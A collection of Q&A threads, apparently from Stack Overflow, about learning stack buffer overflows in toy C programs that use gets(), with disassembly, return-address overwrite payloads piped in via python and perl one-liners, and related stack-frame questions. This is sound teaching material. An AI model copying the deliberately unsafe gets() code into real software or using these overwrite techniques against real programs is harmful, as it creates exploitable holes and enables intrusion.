exploiting Buffer Overflow using gets() in a simple C program - c

I am new to Buffer Overflow exploits and I started with a simple C program.
Code
#include <stdio.h>
#include <strings.h>
void execs(void){
printf("yay!!");
}
void return_input (void)
{
char array[30];
gets(array);
}
int main()
{
return_input();
return 0;
}
Compilation stage
I compiled the above program with cc by disabling stack protector as:
cc test.c -o test -fno-stack-protector
The dump of the elf file using objdump is as follows :
0804843b <execs>:
804843b: 55 push %ebp
804843c: 89 e5 mov %esp,%ebp
804843e: 83 ec 08 sub $0x8,%esp
8048441: 83 ec 0c sub $0xc,%esp
8048444: 68 10 85 04 08 push $0x8048510
8048449: e8 b2 fe ff ff call 8048300 <printf#plt>
804844e: 83 c4 10 add $0x10,%esp
8048451: 90 nop
8048452: c9 leave
8048453: c3 ret
08048454 <return_input>:
8048454: 55 push %ebp
8048455: 89 e5 mov %esp,%ebp
8048457: 83 ec 28 sub $0x28,%esp
804845a: 83 ec 0c sub $0xc,%esp
804845d: 8d 45 da lea -0x26(%ebp),%eax
8048460: 50 push %eax
8048461: e8 aa fe ff ff call 8048310 <gets#plt>
8048466: 83 c4 10 add $0x10,%esp
8048469: 90 nop
804846a: c9 leave
804846b: c3 ret
0804846c <main>:
804846c: 8d 4c 24 04 lea 0x4(%esp),%ecx
8048470: 83 e4 f0 and $0xfffffff0,%esp
8048473: ff 71 fc pushl -0x4(%ecx)
8048476: 55 push %ebp
8048477: 89 e5 mov %esp,%ebp
8048479: 51 push %ecx
804847a: 83 ec 04 sub $0x4,%esp
804847d: e8 d2 ff ff ff call 8048454 <return_input>
8048482: b8 00 00 00 00 mov $0x0,%eax
8048487: 83 c4 04 add $0x4,%esp
804848a: 59 pop %ecx
804848b: 5d pop %ebp
804848c: 8d 61 fc lea -0x4(%ecx),%esp
804848f: c3 ret
So, In order to exploit the buffer(array), we need to find the number of bytes allocated in the return_input stack frame which by looking at the dump,
lea -0x26(%ebp),%eax
is 0x26 in hex or roughly 38 in decimal. So, giving input as :
38+4(random chars)+(return addr of execs)
would execute the execs function. I used the following:
python -c 'print "a"*42+"\x3b\x84\x04\x08"' | ./test
But output Error was:
Segmentation fault(core dumped)
When I opened the core(core dumped file) using gdb, I could find that the segmentation fault was experienced when executing on the following address :
0xb76f2300
System information:
Ubuntu version : 16.10
Kernel version : 4.8.0-46-generic
Question?
What was I doing wrong in code?

I guess the reason is simple: you didn't halt/abort your program in the execs. That address 0xb76f2300 is on stack, so I suspect it is the return from the execs that fails when it tries to return to the value of the stored stack pointer.
That you don't see any message is because the stdout is line-buffered, and your message didn't have a new-line character, nor did you flush it explicitly; thus the yay!! will still be in the buffers.
Also, use a debugger.

Related

Need Help Executing Simple Buffer Overflow

I am trying to execute a buffer overflow on this code:
#include <stdio.h>
CanNeverExecute(){
printf ("You should not be seeing this , right?\n");
}
Greet(){
char buf [8];
gets(buf); // This line is vulnerable because "gets" does not perform a length check, it just copies the whole user input
printf ("Good day, %s\n", buf);
}
int main(){
Greet();
return 0;
}
This is the disassembled Greet function:
080484b1 <Greet>:
80484b1: 55 push %ebp
80484b2: 89 e5 mov %esp,%ebp
80484b4: 53 push %ebx
80484b5: 83 ec 14 sub $0x14,%esp
80484b8: e8 03 ff ff ff call 80483c0 <__x86.get_pc_thunk.bx>
80484bd: 81 c3 43 1b 00 00 add $0x1b43,%ebx
80484c3: 83 ec 0c sub $0xc,%esp
80484c6: 8d 45 f0 lea -0x10(%ebp),%eax
80484c9: 50 push %eax
80484ca: e8 61 fe ff ff call 8048330 <gets#plt>
80484cf: 83 c4 10 add $0x10,%esp
80484d2: 83 ec 08 sub $0x8,%esp
80484d5: 8d 45 f0 lea -0x10(%ebp),%eax
80484d8: 50 push %eax
80484d9: 8d 83 c7 e5 ff ff lea -0x1a39(%ebx),%eax
80484df: 50 push %eax
80484e0: e8 3b fe ff ff call 8048320 <printf#plt>
80484e5: 83 c4 10 add $0x10,%esp
80484e8: 90 nop
80484e9: 8b 5d fc mov -0x4(%ebp),%ebx
80484ec: c9 leave
80484ed: c3 ret
If I am not making a mistake, I have to enter 16 bytes to fill the buffer because this instruction allocates 16 bytes, right?
80484d5: 8d 45 f0 lea -0x10(%ebp),%eax
So I can enter 16 chars then 4 bytes of ebp = 20 bytes + the address of CanNeverExecute. The address shows up as 08048486 in objdump and my machine is little endian so I enter 20 bytes of random characters + address like this:
AAAAAAAAAAAAAAAAAAAA\x86\x84\x04\x08
But it does not work. I can't find the mistake, please help me ty.
When you enter the input with escape characters, you are actually providing the characters '\', 'x', '8', '6' etc. as separate ASCII-encoded bytes. If the characters had corresponded to some correct UTF-8 encoding, you could probably enter it at least by copying and pasting, if not through typing on your keyboard. But exploits rarely correspond to valid encodings, so an alternate is to use another program to supply the specific sequence of bytes through the input stream of your vulnerable binary.
You can use a python one-liner to supply your input containing escape characters:
python3 -c "import sys; sys.stdout.buffer.write(b'AAAAAAAAAAAAAAAAAAAA\x86\x84\x04\x08')" | ./yourbinary
Or using perl:
perl -e 'print "AAAAAAAAAAAAAAAAAAAA\x86\x84\x04\x08"' | ./yourbinary

Why gcc sometimes allocate extra space for local but sometimes not?

Here is my code
#include <stdio.h>
char func_with_ret()
{
return 1;
}
void func_1()
{
char buf[16];
func_with_ret();
}
void func_2()
{
char buf[16];
getchar();
}
int main()
{
func_1();
func_2();
}
I declare 16-byte local buffers to keep the stack pointer aligned(for x86).
I write two function "func_1", "func_2", they look almost the same - allocate 16-byte local buffer and call a function with char return value and no parameter, but one is self-defined and the other is getchar().
Compile with gcc parameter "-fno-stack-protector"(so there's no canary on stack) and "-O0" to avoid unexpected optimization behavior.
Here is the disassembly code by gdb for func_1 and func_2.
Dump of assembler code for function func_1:
0x08048427 <+0>: push ebp
0x08048428 <+1>: mov ebp,esp
0x0804842a <+3>: sub esp,0x10
0x0804842d <+6>: call 0x804841d <func_with_ret>
0x08048432 <+11>: leave
0x08048433 <+12>: ret
Dump of assembler code for function func_2:
0x08048434 <+0>: push ebp
0x08048435 <+1>: mov ebp,esp
0x08048437 <+3>: sub esp,0x18
0x0804843a <+6>: call 0x80482f0 <getchar#plt>
0x0804843f <+11>: leave
0x08048440 <+12>: ret
In func_1, buffer is allocated for 0x10(16) bytes,
but in func_2 , it is allocated for 0x18(24) bytes, why?
Edit:
#Attie figure out that buffer size is actually the same for both, but there's
strange 8-byte stack spaces in func_2 don't know where it comes from.
I have just tried to reproduce this, see below:
Compiling for x86-64 (no joy):
$ gcc p.c -g -o p -O0 -fno-stack-protector
$ objdump -d p
p: file format elf64-x86-64
[...]
0000000000400538 <func_1>:
400538: 55 push %rbp
400539: 48 89 e5 mov %rsp,%rbp
40053c: 48 83 ec 10 sub $0x10,%rsp
400540: b8 00 00 00 00 mov $0x0,%eax
400545: e8 e3 ff ff ff callq 40052d <func_with_ret>
40054a: c9 leaveq
40054b: c3 retq
000000000040054c <func_2>:
40054c: 55 push %rbp
40054d: 48 89 e5 mov %rsp,%rbp
400550: 48 83 ec 10 sub $0x10,%rsp
400554: e8 c7 fe ff ff callq 400420 <getchar#plt>
400559: c9 leaveq
40055a: c3 retq
Compiling for i386 (success):
$ gcc p.c -g -o p -O0 -fno-stack-protector -m32
$ objdump -d p
p: file format elf32-i386
[...]
08048427 <func_1>:
8048427: 55 push %ebp
8048428: 89 e5 mov %esp,%ebp
804842a: 83 ec 10 sub $0x10,%esp
804842d: e8 eb ff ff ff call 804841d <func_with_ret>
8048432: c9 leave
8048433: c3 ret
08048434 <func_2>:
8048434: 55 push %ebp
8048435: 89 e5 mov %esp,%ebp
8048437: 83 ec 18 sub $0x18,%esp
804843a: e8 b1 fe ff ff call 80482f0 <getchar#plt>
804843f: c9 leave
8048440: c3 ret
This doesn't appear to be related to any of the following:
The fact that getchar() is a library function, and thus we are calling into the PLT (Procedure Linkage Table).
Related to the return type of the function
The order of the calls in main()
The order of the functions in the binary
Dynamic / static compliation
If you however increase the size of your buffer by one, to 17, then the stack usage increases to 32 and 40 bytes (from 16 and 24 bytes) respectively. The difference is 16 bytes, which is used for alignment, as answered here.
I can't answer why the stack alignment appears to be off by 8-bytes upon entering func_2() though.
If you update func_1() and func_2() to have a 15-byte buffer, and a single byte variable, and write data to them, then you can see where these items are in the stack frame:
void func_1(void) {
char buf[15];
char x;
buf[0] = 0xaa;
x = 0x55;
func_with_ret();
}
void func_2(void) {
char buf[15];
char x;
buf[0] = 0xaa;
x = 0x55;
getchar();
}
08048434 <func_1>:
8048434: 55 push %ebp
8048435: 89 e5 mov %esp,%ebp
8048437: 83 ec 10 sub $0x10,%esp
804843a: c6 45 f0 aa movb $0xaa,-0x10(%ebp)
804843e: c6 45 ff 55 movb $0x55,-0x1(%ebp)
8048442: e8 d6 ff ff ff call 804841d <func_with_ret>
8048447: c9 leave
8048448: c3 ret
08048449 <func_2>:
8048449: 55 push %ebp
804844a: 89 e5 mov %esp,%ebp
804844c: 83 ec 18 sub $0x18,%esp
804844f: c6 45 e8 aa movb $0xaa,-0x18(%ebp)
8048453: c6 45 f7 55 movb $0x55,-0x9(%ebp)
8048457: e8 94 fe ff ff call 80482f0 <getchar#plt>
804845c: c9 leave
804845d: c3 ret

Understanding how parameters are passed to functions in Assembly

I am reading this writeup on how to perform a ret2libc exploit. It states that the arguments passed to a function are stored at ebp+8.
Now, if I take a simple C program
#include <stdlib.h>
int main() {
system("/bin/sh");
}
And compile it:
gcc -m32 -o test_sh test_sh.c
and look at the disassembly of it with
objdump -d -M intel test_sh
0804840b <main>:
804840b: 8d 4c 24 04 lea ecx,[esp+0x4]
804840f: 83 e4 f0 and esp,0xfffffff0
8048412: ff 71 fc push DWORD PTR [ecx-0x4]
8048415: 55 push ebp
8048416: 89 e5 mov ebp,esp
8048418: 51 push ecx
8048419: 83 ec 04 sub esp,0x4
804841c: 83 ec 0c sub esp,0xc
804841f: 68 c4 84 04 08 push 0x80484c4
8048424: e8 b7 fe ff ff call 80482e0 <system#plt>
8048429: 83 c4 10 add esp,0x10
804842c: b8 00 00 00 00 mov eax,0x0
8048431: 8b 4d fc mov ecx,DWORD PTR [ebp-0x4]
8048434: c9 leave
8048435: 8d 61 fc lea esp,[ecx-0x4]
8048438: c3 ret
8048439: 66 90 xchg ax,ax
804843b: 66 90 xchg ax,ax
804843d: 66 90 xchg ax,ax
804843f: 90 nop
The line
804841f: 68 c4 84 04 08 push 0x80484c4
Pushes the address of the string "/bin/sh" onto the stack. Immediately afterwards the system#plt function is called. So how does one arrive to ebp+8 from the above output?
Help would be appreciated!
The arguments passed to a function are stored at ebp+8.
That's from the called function's point of view, not from the calling function's point of view. The calling function has its own arguments at ebp+8, and your main() does not use any of its arguments, hence, you don't see any use of ebp+8 in your main().
You can see ebp+8 being used as follows:
Try writing a second function, with arguments, and calling it from main(), instead of invoking system(). You still won't see any use of ebp+8 within main(), but you will see it being used in your second function.
Try declaring your main() to accept its char** argv argument, then try sending argv[0] to printf().
You don't because EBP + 8 is only relevant after the prologue in system#plt after creating a new procedure frame.
push ebp
mov ebp, esp
at this point in system#plt the contents of memory location pointed to by EBP + 8 will equal 0x80484C4.

Trouble replicating a stack buffer overflow exploit

I am having trouble replicating the stack buffer overflow example given by OWASP here.
Here is my attempt:
$ cat test.c
#include <stdio.h>
#include <string.h>
void doit(void)
{
char buf[8];
gets(buf);
printf("%s\n", buf);
}
int main(void)
{
printf("So... The End...\n");
doit();
printf("or... maybe not?\n");
return 0;
}
$ gcc test.c -o test -fno-stack-protection -ggdb
$ objdump -d test # omitted irrelevant parts i think
000000000040054c <doit>:
40054c: 55 push %rbp
40054d: 48 89 e5 mov %rsp,%rbp
400550: 48 83 ec 10 sub $0x10,%rsp
400554: 48 8d 45 f0 lea -0x10(%rbp),%rax
400558: 48 89 c7 mov %rax,%rdi
40055b: e8 d0 fe ff ff callq 400430 <gets#plt>
400560: 48 8d 45 f0 lea -0x10(%rbp),%rax
400564: 48 89 c7 mov %rax,%rdi
400567: e8 a4 fe ff ff callq 400410 <puts#plt>
40056c: c9 leaveq
40056d: c3 retq
000000000040056e <main>:
40056e: 55 push %rbp
40056f: 48 89 e5 mov %rsp,%rbp
400572: bf 4c 06 40 00 mov $0x40064c,%edi
400577: e8 94 fe ff ff callq 400410 <puts#plt>
40057c: e8 cb ff ff ff callq 40054c <doit>
400581: bf 5d 06 40 00 mov $0x40065d,%edi
400586: e8 85 fe ff ff callq 400410 <puts#plt>
40058b: b8 00 00 00 00 mov $0x0,%eax
400590: 5d pop %rbp
400591: c3 retq # this is where i took my overflow value from
400592: 90 nop
400593: 90 nop
400594: 90 nop
400595: 90 nop
400596: 90 nop
400597: 90 nop
400598: 90 nop
400599: 90 nop
40059a: 90 nop
40059b: 90 nop
40059c: 90 nop
40059d: 90 nop
40059e: 90 nop
40059f: 90 nop
$ perl -e 'print "A"x12 ."\x91\x05\x40"' | ./test
So... The End...
AAAAAAAAAAAAâ–’#
or... maybe not? # this shouldn't be outputted
Why isn't this working? I'm assuming that the memory address that I am supposed to insert is the retq from <main>.
My goal is to figure out how to do a stack buffer overflow that calls a function elsewhere in the program. Any help is much appreciated. :)
I'm using Windows & MSVC but you should get the idea.
Consider the following code:
#include <stdio.h>
void someFunc()
{
puts("wow, we should never get here :|");
}
// MSVC inlines this otherwise
void __declspec(noinline) doit(void)
{
char buf[8];
gets(buf);
printf("%s\n", buf);
}
int main(void)
{
printf("So... The End...\n");
doit();
printf("or... maybe not?\n");
return 0;
}
(Note: I had to compile it with /OPT:NOREF to force MSVC not to remove "unused" code and /GS- to turn off stack checks)
Now, let's open it in my favorite disassembler:
We'd like to exploit the gets vulnerability so the execution jumps to someFunc. We can see that its address is 001D1000, so if we can write enough bytes past the buffer to overwrite the return address, we'll be good. Let's take a look at the stack when gets is called:
As we can see, there's 8 bytes of our stack allocated buffer (buf), 4 bytes of some stuff (actually the PUSHed EBP), and the return address. Thus, we need to write 12 bytes of whatever and then our 4 byte return address (001D1000) to "hijack" the execution flow. Let's do just that - we'll prepare an input file with the bytes we need using a hex editor:
And indeed, when we run the program with that input, we get this:
After it prints that line, it will crash with an access violation since there was some garbage on the stack. However, there's nothing stopping you from carefully analyzing the code and preparing such bytes in your input that the program will appear to function as normal (we could overwrite the next bytes with the address of ExitProcess, so that someFunc would jump there).

Program with inline assembly segfaults unless prefixed with function call

#include <stdio.h>
static void my_func(char *text) {
//printf("hello again\n");
__asm__(
"push %%ebp\n\t"
"mov %0, %%ebx\n\t"
"push %%ebx\n\t"
"call strlen\n\t"
"movb (%%ebx), %%al"
: : "r"(text));
}
int main() {
int i;
for(i = 0; i < 3; ++i)
my_func("hello");
}
Test run:
$ gcc -v
(...)
gcc version 4.8.1 (Ubuntu/Linaro 4.8.1-10ubuntu9)
$ gcc test.c
$ ./a.out
Segmentation fault (core dumped)
Why does my program crash unless I uncomment the printf call?
Here's the disassembly for the two functions:
OK version (w/ printf call):
0804844d <my_func>:
804844d: 55 push %ebp
804844e: 89 e5 mov %esp,%ebp
8048450: 83 ec 18 sub $0x18,%esp
8048453: c7 04 24 30 85 04 08 movl $0x8048530,(%esp)
804845a: e8 b1 fe ff ff call 8048310 <puts#plt>
804845f: 8b 45 08 mov 0x8(%ebp),%eax
8048462: 89 c3 mov %eax,%ebx
8048464: 53 push %ebx
8048465: e8 c6 fe ff ff call 8048330 <strlen#plt>
804846a: 8a 03 mov (%ebx),%al
804846c: c9 leave
804846d: c3 ret
Crashing version (no printf call):
0804841d <my_func>:
804841d: 55 push %ebp
804841e: 89 e5 mov %esp,%ebp
8048420: 8b 45 08 mov 0x8(%ebp),%eax
8048423: 89 c3 mov %eax,%ebx
8048425: 53 push %ebx
8048426: e8 d5 fe ff ff call 8048300 <strlen#plt>
804842b: 8a 03 mov (%ebx),%al
804842d: 5d pop %ebp
804842e: c3 ret
"push %%ebx\n\t"
"call strlen\n\t"
You PUSH something on the stack. Who do you expect to POP that something off the stack (clean up your call parameter)?
Linux uses "caller cleanup" calling convention, and by not cleaning up the call stack, you are making my_func return to a bogus address (which causes SIGSEGV).

Resources